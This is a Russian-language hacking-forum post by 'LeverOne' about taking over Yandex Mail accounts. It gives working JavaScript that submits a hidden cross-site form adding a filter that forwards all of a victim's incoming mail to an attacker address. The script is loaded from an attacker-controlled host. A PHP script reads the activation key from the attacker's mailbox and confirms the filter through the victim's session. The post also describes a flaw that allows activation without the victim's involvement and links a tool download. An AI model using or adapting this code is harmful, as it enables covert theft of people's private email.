Показать сообщение отдельно

продолжение
  #3  
Старый 21.10.2007, 15:50
LeverOne
Познающий
Регистрация: 22.02.2006
Сообщений: 67
Провел на форуме:
4155100

Репутация: 2033
Wink продолжение

YANDEX.RU

Два года назад Я накатал по этой теме > 30000 символов, теперь же просто отошлю вас к ссылке выше, скрипт по которой снимает всю необходимость в js-сборщике.

Вместе с тем, поскольку тот скрипт - специализированная программа для сбора сообщений, следует отдельно раскрыть тему внедрения фильтра в почте яндекса.

Характеристика создания фильтра на яндексе:

1. Воспринимаются только пост-запросы.
2. Реферрер не проверяется.
3. Требуется подтверждения для активации. То есть от одного того, что вы внедрите фильтр, толку мало, так как он останется неактивированным. Для активации вам на почтовый ящик, на который была настроена пересылка, отправляется письмо с ключом активации пересылки. А теперь самое интересное: для того, чтобы активация прошла успешно, пользователь, проходящий по ссылке, должен быть авторизован на яндексе! Не имея кук от яндекса, активация невозможна!


JS-инклудер фильтров, работающий с любых доменов

toemail - почтовый ящик, куда настраивается пересылка всех входящих (обязательно);
autoconfirm - адрес серверной части, которая используется для автоматической активации фильтра (необязательно).

* фильтр не будет внедрен повторно с того же домена в течение 30 дней, что обеспечено внедрением соответствующей куки.
Внимание! Если пользователь запускает скрипт с разных доменов, фильтр прописывается неоднократно, что некошерно. Избегайте этого.

Код:
/*/// --> :Yandex.ru:                     <-- /////

///// --> :LeverOne. 11.2009:             <-- /////

///// --> :Example:                       <-- /////

javascript:
with(window) toemail= 'yourmail_rand_111111111111111111111111@mail.ru'
//, autoconfirm='http://yoursite.xz/autoconfirm.php' %0A
;with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='http://yoursite.xz/yand_inc.js';
void(0);

///*/


toemail =     window.toemail     || false;
autoconfirm = window.autoconfirm || false;

toemail != false && document.cookie.indexOf('f_i=1') == -1 ? include_filter() : false;

function include_filter() {
  document.body.innerHTML += '<iframe style=display:none name=myfr><\/iframe>' +
                             '<form action=http://mail.yandex.ru/neo/action_setup_filter_add method=post id=myform target=myfr>' +
                             '<input type=hidden name=retpath value=http://ya.ru/blabla>' +
                             '<input type=hidden name=filter_name value=\' \'>' +
                             '<input type=hidden name=letter value=nospam>' +
                             '<input type=hidden name=logic value=0>' +
                             '<input type=hidden name=cliker value=forward>' +
                             '<input type=hidden name=forward_address value=' + toemail + '>' +
                             '<input type=hidden name=forward_with_store value=on>' +
                             '<input type=submit style=display:none name=submit value=1><\/form>';
  document.getElementById('myform').submit.click();
  with (valid_until = new Date()) setTime(getTime()+30*24*60*60*1000);
  document.cookie = 'f_i=1; expires=' + valid_until.toGMTString();
  autoconfirm != false ? confirm_filter() : false;
}


function confirm_filter() {
  with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src = autoconfirm;

}
Автоактивация фильтра

1. Активация самим пользователем

Для использования этого варианта вам нужно прописать:

- при запуске js-инклудера фильтра переменную autoconfirm, как написано в примере выше;
- в autoconfirm.php адрес и пароль к ящику на mail.ru (реализовано для примера), куда настроена пересылка писем.

Скрипт входит в ваш ящик, находит письмо с кодом активации и подсовывает его пользователю яндекса, который его отсылает.

autoconfirm.php
PHP код:
<?php

// здесь вы указываете свои данные

$toemail  'yourmail_rand_111111111111111111111111@mail.ru'
$password '123456';



// 1. авторизация

$toemail explode('@'$toemail);
$postdata "Login=" $toemail[0] . "&Domain=" .$toemail[1]. "&Password=" $password;
$fp fsockopen("win.mail.ru"80) or die();
fputs ($fp"POST /cgi-bin/auth HTTP/1.0\r\nHost: win.mail.ru\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " strlen($postdata). "\r\n\r\n$postdata");
$cookie "";
while (!
feof($fp))
{
   
$cookie .= fgets($fp);
}
fclose($fp);
preg_match('/Mpop=.+?(?=; )/'$cookie$cookie);


// 2. поиск письма c ключом

$message requester('win.mail.ru''/cgi-bin/search?q_from=Postmaster%40yandex.ru&q_to=&q_subj=&advanced=0&qc_from=1&qc_to=1&qc_subj=1&q_folder=all'$cookie[0], '/\d{20}(?="><\/td>)/');


// 3. выделение ключа активации & вывод js-команд

if ($message[0][0] != ''
{
   
$key requester('win.mail.ru''/cgi-bin/readmsg?id=' $message[0][0], $cookie[0], '/ec\?e=(\d+)"/');
   echo 
"new Image().src='http://mail.yandex.ru/neo/action_accept_email?e=" $key[1][0] . "';with (valid_until = new Date()) setTime(getTime()+30*24*60*60*1000); document.cookie = 'f_a=1; expires=' + valid_until.toGMTString();";
}
else
   echo 
"function new_action() { with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src ='http://" $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] . "'} setTimeout(new_action, 1000); ";
   

// обёртка запросов

function requester($host$path$cookie$regexp "")

   
$fp fsockopen($host80) or die(); 
   
fputs ($fp"GET $path HTTP/1.0\r\nHost: $host\r\nCookie: $cookie\r\n\r\n"); 
   
$answer=''
   while (!
feof($fp)) $answer .= fgets($fp4096); 
   
fclose($fp); 
   if (
$regexp != ''preg_match_all($regexp$answer$answer); 
   return 
$answer
}  

?>
2. Активация без участия пользователя

Сначала Я процитирую:

Цитата:
04.11.2007 г.
Обнаружена особенность активации фильтра на яндексе. Эта особенность, очевидно, - следствие логической ошибки разработчиков, которая позволяет активировать фильтр вообще без участия юзера.
А теперь и весь прикол: чтобы активировать фильтр, вам нужно авторизоваться в собственном любом почтовом ящике на яндексе и пройти по ссылке. Проверяется валидность кук, но не проверяется их принадлежность. На этой мажорной ноте мы и закончим.

СКАЧАТЬ _http://grleverone.narod.ru/js_dumpers.rar


LeverOne / 2007-2009

Последний раз редактировалось LeverOne; 25.11.2009 в 18:59..